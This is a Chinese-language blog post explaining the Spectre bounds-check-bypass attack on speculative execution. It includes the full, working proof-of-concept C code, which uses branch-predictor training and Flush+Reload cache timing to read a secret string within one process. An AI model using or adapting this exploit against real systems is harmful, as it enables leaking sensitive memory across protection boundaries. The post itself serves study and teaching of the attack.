Spectre Attack POC代码分析

2021/06/03

Ref.: Spectre Attacks: Exploiting Speculative Execution

最近看到Spectre Attack(幽灵攻击),这是一个利用CPU乱序执行的漏洞而进行的攻击。虽说此漏洞早在18年初就已经被发现并公布,但这种基于Cache Timing的攻击方式仍然十分具有借鉴意义,特此撰文介绍该漏洞的原理以及具体POC的实现。

原理

大家都知道,现代CPU为了加快指令执行的整套流程引入了很多机制,从最初的流水线机制,到后面为了解决指令执行周期不一致引发的流水线停车问题而引入的推测执行、分支预测以及乱序执行机制等,这些机制无一例外的加快了CPU的效率,但效率总是伴随着一定的代价,这些复杂的机制也不可避免地引入了许许多多潜在的安全问题,幽灵攻击既是其中之一。通常,分支的最终目标指令都取决于前序指令所计算出的某个内存中的值,CPU为了加快执行效率,会试图推测该目标指令并提前执行该指令,然后将结果暂存。当该值可用时,CPU会根据该值选择销毁或者提交推测运行的结果。很遗憾,推测逻辑并不可靠,因为这会使得CPU访问一些本不应该被访问到内存区域和寄存器,并将部分内容(很可能是一些敏感信息)留在缓存内,从而引入一些可观测的副作用(通过侧信道)。

如何攻击?

在原理中,我们讲到了通过推测执行以及侧信道来获取本不应该被访问的内存区域的内容。实现这一目标的前提是,让CPU预测式地执行错误的分支,这需要我们精心设计方法来引导CPU以及受害者去进行这一推测执行,这一步骤可以被称为训练步骤,通常,我们可以通过操纵缓存状态从而移除CPU所需的决定实际控制流的数据来实现这一目标(下文中结合代码详细解释)。接下来,便可以通过预测执行的方式,让CPU读取特定的内容,从而利用侧信道,根据访问时间的不同来判断cache命中与否,进而推断出内存中的内容。接下来,我们以一段很简单的条件分支代码为例,具体描述整个流程:

if (x < array1_size)
    y = array2[array1[x] * 4096];

考虑上述代码段为一个函数中的一部分,其接受从非可信源输入的无符号整数x,运行这段代码的进程可以访问大小为array1_size的无符号字节数组array1以及大小为1MB的字节数组array2。这段代码首先对x进行边界检查,来防止对array1的访问出现越界情况。否则,一个越界的访问可能会触发异常,或者导致某些不可访问的敏感区域被访问到(通过提供x = (待读取秘密字节的地址) − (array1的基址))。下表列出了几种不同的预测和实际情况组合所导致的结果,其中列代表实际结果,行代表预测结果。

结果
高速 低速
泄露 高速

可以发现,假如实际结果为错但预测结果为对时,就会招致信息泄露,其原因为何呢?让我们来假定实际情况满足以下前提:

当上面编译的代码运行时,处理器首先将x的恶意值与array1_size进行比较。读取array1_size会导致缓存未命中,并且处理器将会等待较长时间直到其从DRAM被加载到寄存器中。特别地,如果分支条件或分支前某处的指令需要等待未缓存的操作数,则该分支结果的确定可能需要一些时间。同时,分支预测器假设结果为真。因此,推测执行逻辑将xarray1的基址相加,并从内存中请求结果地址处的数据。这次读取将会命中缓存(上文中假设k被缓存),并快速返回敏感信息字节k的值。推测执行逻辑然后使用 k 来计算 array2[k * 4096] 的地址。然后它发送一个请求从内存中读取这个地址(导致缓存未命中)。虽然从 array2 的读取已经在进行中,但分支结果也可能在其间被确定。此时,处理器意识到其推测执行选择是错误的,因此,回滚其寄存器状态。但是,对array2的预测读取以特定于地址的方式影响缓存状态,其地址取决于k。 为了完成攻击,我们可以通过Flush+Reload或Prime+Probe等基于缓存的侧信道攻击来观测array2的哪个位置被载入了缓存。这将会揭露k的值,因为受害者的推测执行缓存了array2[k*4096]。当然,通过Evict+Time这一方法也可以实现同样的目标。

PoC代码实现

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h>        /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h>     /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8_t unused2[64]; 
uint8_t array2[256 * 512];

char *secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0;  /* Used so compiler won't optimize out victim_function() */

void victim_function(size_t x) {
	if (x < array1_size) {
		temp &= array2[array1[x] * 512];
	}
}


/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80)  /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
	static int results[256];
	int tries, i, j, k, mix_i, junk = 0;
	size_t training_x, x;
	register uint64_t time1, time2;
	volatile uint8_t *addr;

	for (i = 0; i < 256; i++)
		results[i] = 0;
	for (tries = 999; tries > 0; tries--) {

		/* Flush array2[256*(0..255)] from cache */
		for (i = 0; i < 256; i++)
			_mm_clflush(&array2[i * 512]);  /* intrinsic for clflush instruction */

		/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
		training_x = tries % array1_size;
		for (j = 29; j >= 0; j--) {
			_mm_clflush(&array1_size);
			for (volatile int z = 0; z < 100; z++) {}  /* Delay (can also mfence) */

			/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
			/* Avoid jumps in case those tip off the branch predictor */
			x = ((j % 6) - 1) & ~0xFFFF;   /* Set x=FFF.FF0000 if j%6==0, else x=0 */
			x = (x | (x >> 16));           /* Set x=-1 if j&6=0, else x=0 */
			x = training_x ^ (x & (malicious_x ^ training_x));
			
			/* Call the victim! */
			victim_function(x);
		}

		/* Time reads. Order is lightly mixed up to prevent stride prediction */
		for (i = 0; i < 256; i++) {
			mix_i = ((i * 167) + 13) & 255;
			addr = &array2[mix_i * 512];
			time1 = __rdtscp(&junk);            /* READ TIMER */
			junk = *addr;                       /* MEMORY ACCESS TO TIME */
			time2 = __rdtscp(&junk) - time1;    /* READ TIMER & COMPUTE ELAPSED TIME */
			if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
				results[mix_i]++;  /* cache hit - add +1 to score for this value */
		}

		/* Locate highest & second-highest results results tallies in j/k */
		j = k = -1;
		for (i = 0; i < 256; i++) {
			if (j < 0 || results[i] >= results[j]) {
				k = j;
				j = i;
			} else if (k < 0 || results[i] >= results[k]) {
				k = i;
			}
		}
		if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
			break;  /* Clear success if best is > 2*runner-up + 5 or 2/0) */
	}
	results[0] ^= junk;  /* use junk so code above won't get optimized out*/
	value[0] = (uint8_t)j;
	score[0] = results[j];
	value[1] = (uint8_t)k;
	score[1] = results[k];
}

int main(int argc, const char **argv) {
	size_t malicious_x=(size_t)(secret-(char*)array1);   /* default for malicious_x */
	int i, score[2], len=40;
	uint8_t value[2];

	for (i = 0; i < sizeof(array2); i++)
		array2[i] = 1;    /* write to array2 so in RAM not copy-on-write zero pages */
	if (argc == 3) {
		sscanf(argv[1], "%p", (void**)(&malicious_x));
		malicious_x -= (size_t)array1;  /* Convert input value into a pointer */
		sscanf(argv[2], "%d", &len);
	}
	
	printf("Reading %d bytes:\n", len);
	while (--len >= 0) {
		printf("Reading at malicious_x = %p... ", (void*)malicious_x);
		readMemoryByte(malicious_x++, value, score);
		printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
		printf("0x%02X='%c' score=%d    ", value[0], 
            (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
		if (score[1] > 0)
			printf("(second best: 0x%02X score=%d)", value[1], score[1]);
		printf("\n");
	}
	return (0);
}

PoC代码分析

这是一个简单的PoC,其在同一进程内模拟窃取行为。我们想要窃取到的数据为:

char *secret = "The Magic Words are Squeamish Ossifrage.";

前面是一部分所需的变量,其中两个unused的作用是防止两个数组落在同一个cache line中,array2的步长为512的作用是防止array2的每个元素落在同一个cache set内。

代码里分为三部分,暴露漏洞的void victim_function(size_t x),以及读取内存数据的void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]),以及主函数部分。victim_function非常简单,且在上文中也详细分析过了,故不再赘述。在此,我们先从主函数入手。

首先,计算出秘密字符相对于array_1的起始地址并将其存入malicious_x,接下来通过循环调用readMemoryByte(malicious_x++, value, score)来进行猜解,让我们进入这个函数一探究竟。

void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]);

这个函数接受malicious_x的位置作为参数,输出两个最可能的预测结果,分别存在value数组的两个位置内,score存放他们所对应的分数。其第一行定义了一个长度为256的静态int数组static int result[256],此处静态仅仅是为了减少每次重新分配空间,并无特殊含义,该数组为256个ASCII字符的可能分数。顾名思义,training_x为训练分支预测器时x的值,下面一共尝试999次破解。__mm_clflushclflush指令的C函数,负责将一个字节从缓冲区中移除。以下代码负责控制victim_function()的调用是训练还是破解。

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
			/* Avoid jumps in case those tip off the branch predictor */
			x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
			x = (x | (x >> 16));		 /* Set x=-1 if j&6=0, else x=0 */
			x = training_x ^ (x & (malicious_x ^ training_x));

上面运算的目的为:如果j%6 == 0,则把x置为malicious_x,否则置为training_x。但为何简单的写为

x = (j % 6) ? training_x : malicious_x;

就不能达到相同的效果呢?回顾一下幽灵攻击的原理:利用training_x诱骗分支预测器执行下一个分支时也按照预测是正确的结果来进行预测执行。那如果在调用被攻击函数之前使用了其他条件语句,则会改写分支预测器内的内容,因此,将会使攻击失灵,所以代码此处应用了位运算的方式来避免了分支,也既汇编内的跳转语句。

接下来的循环检查哪个地址里的字符被装载到了缓存中,这是一种典型的基于时间的侧信道攻击,很显然,访问被装载到缓存的地址会快于访问未被缓存的地址。

/* Time reads. Order is lightly mixed up to prevent stride prediction */
		for (i = 0; i < 256; i++)
		{
			mix_i = ((i * 167) + 13) & 255; // magic number?
			// mix_i = i;
			addr = &array2[mix_i * 512];
			time1 = __rdtscp(&junk);		 /* READ TIMER */
			junk = *addr;					 /* MEMORY ACCESS TO TIME */
			time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
			if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
				results[mix_i]++; /* cache hit - add +1 to score for this value */
		}

最后一个循环统计分数最高的两个结果,并存入valuescore数组内。很容易理解,故不再赘述。此时返回主函数,并将结果输出到stdout,最终攻击结束。

感悟

虽然CPU为我们提供了很好的内存隔离机制,但不同的进程以及多核处理器的所有核心均共享同一个L1 Cache,这就导致了基于缓存的侧信道攻击层出不穷,特别是针对SGX的攻击,Intel才发布SGX六年,便已经百花齐放。ICL也将幽灵攻击移植到了SGX上,与本文所述相比,SGX所需的仅仅是把对victim_function()的调用替换为一个ecall,其余部分并无差别,故不再赘述,其代码可在下述github中找到。

文章中所有代码均可以在https://github.com/xymeng16/security获取到。